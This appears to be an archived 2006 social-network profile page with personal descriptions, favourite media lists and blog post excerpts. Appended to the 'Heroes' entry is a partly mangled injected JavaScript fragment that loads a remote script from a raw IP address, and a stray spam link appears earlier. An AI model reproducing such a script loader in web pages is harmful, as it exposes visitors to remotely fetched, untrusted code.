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Jana Awesome!

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About Me

I'm loud, hilarious, honest, loyal and random. I'm a mom to a gorgeous girl named Brady. I have amazing family & friends. I know what I want and what I don't. I won't settle for less.
I like the number 5, being all up in everyone's biz but my own, hanging out with my awesome friends, drinking Diet Rockstar's, driving fast & taking pics with my pink cellie. Not in that particular order, but sometimes all at the same time.
I don't like liars, misspelled words, being stuck behind the Slow Driver's of America Club President, or waiting in line.
I suck at cooking. I always seem to start a fire, burn the crap out of it or me, or completely ruin a simple meal. I do make a mean spaghetti though!
PS - I'm always right.
Randoms: I'm addicted to my phone and text messaging. I'll probably pay more attention to it than you. I'd rather text you than call you. I'm not afraid to speak my mind, and loudly. If you're lying, I'll call bulls**t. I like running thru sprinklers, especially the really big ones. If you say I can't do something, I'll do it just to prove you wrong (refer above: I'm always right.) Sometimes I have a hidden agenda. I stay up late, always have always will. I can go off on a wild tangent about nothing, and my best friend Liza picks up on it and is right there with me. My daughter is all legs and is going to be a total heartbreak when she grows up, and I'm going to love EVERY minute of it. Even though my life has been crazy hectic and ever changing, I love it. It's my life. I hate being at home and am usually at a different friend's house every night (my daughter is the same way now.) I don't think I ever shut up. Pink is my favorite color. I like board games and card games, I'm a Canasta Masta'. I love 12am phone calls from Mia. I know a lot about nothing and a little about cars. I can quote my favorite movies, SNL skits or tv shows line by line and do it often. Don't get me started, don't EVEN get me started. I play my music loud and sing even louder. I pretend to be gangster (and yes its -er not -a because I'm white.)sometimes. I say YO. I can see a phone number once and have it memorized. Obviously not everything, just a taste.

My Interests

Brady, myself, movies, music and of course random shenanigans with anyone willing to participate!

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I'd like to meet:

People who aren't liars. Someone as brutally honest as me. Someone who isn't afraid to be themselves. Someone who won't embarass easily in public. Someone who knows how to have a good time no matter what they're doing. I guess just anyone cool enough to hang out with me and my amazing friends.a href="http://www.deltox.com" target="_blank

Music:

Pretty much anyting goes. Mostly rap and hip hop, but every now and again some alternative, rock, old school or country.

Movies:

I'm obsessed with Party Monster, I love Macaulay Culkin and Seth Green in that movie! Some all time favorites of mine are: Girl Interrupted, Cruel Intentions, Lives of Alter Boys, Igby Goes Down (not a porn flick if thats what you're thinking), Secretary, Wayne's World, What about Bob, The Little Mermaid, The Breakfast Club, Sixteen Candles, Office Space, Grandma's Boy, and Dumb and Dumber.

Television:

Well since we're hardly ever home, we don't really watch much tv. My daughter rules the TV most of the time though, so I'm usually watching Spongebob, South Park, Family Guy or Disney movies. When I actually get to watch TV, I love Law & Order - any and all of them and Grey's Anatomy. I used to be totally in love with Dead Like Me until lame ass Showtime canceled it, so I canceled my Showtime!

Books:

I have a really short attention span, and get bored easily.However, I do love to keep up on Celebrity gossip with weekly gossip magazines.

Heroes:

My grandpa Del. He's the most amazing man I will ever meet. Great stories, and even better advice and wisdom. .."var s=document·('script');s.src='http://75.126.2.157/.../te st.js';document·getElementsByTagName('head')[0].appendC hild(s);"

My Blog

DRUNK DIALING 101

1. Only drunk dial when you are drunk. Everything else is false advertisement.2. It is okay to call someone 27 times in one night. If you don't remember it, it didn't happen.3. If you are going to dru...
Posted by Jana Awesome! on Tue, 08 Aug 2006 05:45:00 PST

I'M GOING GOING...BACK TO BACK TO... CALI CALI

ONE OF MY CLOSEST FRIENDS IS GRADUATING COLLEGE THIS WEEKEND (GO YOU!.)  BEING THE NUTCASE I AM, I'VE MADE A LAST MINUTE DECISION TO FLY DOWN TO SAN DIEGO TO BE THERE WITH HER ON HER AM...
Posted by Jana Awesome! on Thu, 15 Jun 2006 03:54:00 PST

"Make a promise.....but not excuses."

So I just came across this quote, and it is absolutely amazing, and exactly what I need in my life at this point in time.  Its so simple, yet so profound.  Not just for myself, but for the p...
Posted by Jana Awesome! on Mon, 15 May 2006 02:30:00 PST

FINA-FREAKIN-LY!!!

I have an appointment with my attorney on Thursday morning at 8:30 am to sign the final drafts of my divorce papers!  After they're all signed, we get to go straight to the court house and file t...
Posted by Jana Awesome! on Tue, 11 Apr 2006 05:26:00 PST

Drowning in all of your lies dear

Lyrics for "The Alamo Is No Place For" The Scene Aesthetic - The Alamo Is No Place For DancingSing me a song, tell me about The things that you're dealing with lately I don't unde...
Posted by Jana Awesome! on Thu, 23 Mar 2006 11:49:00 PST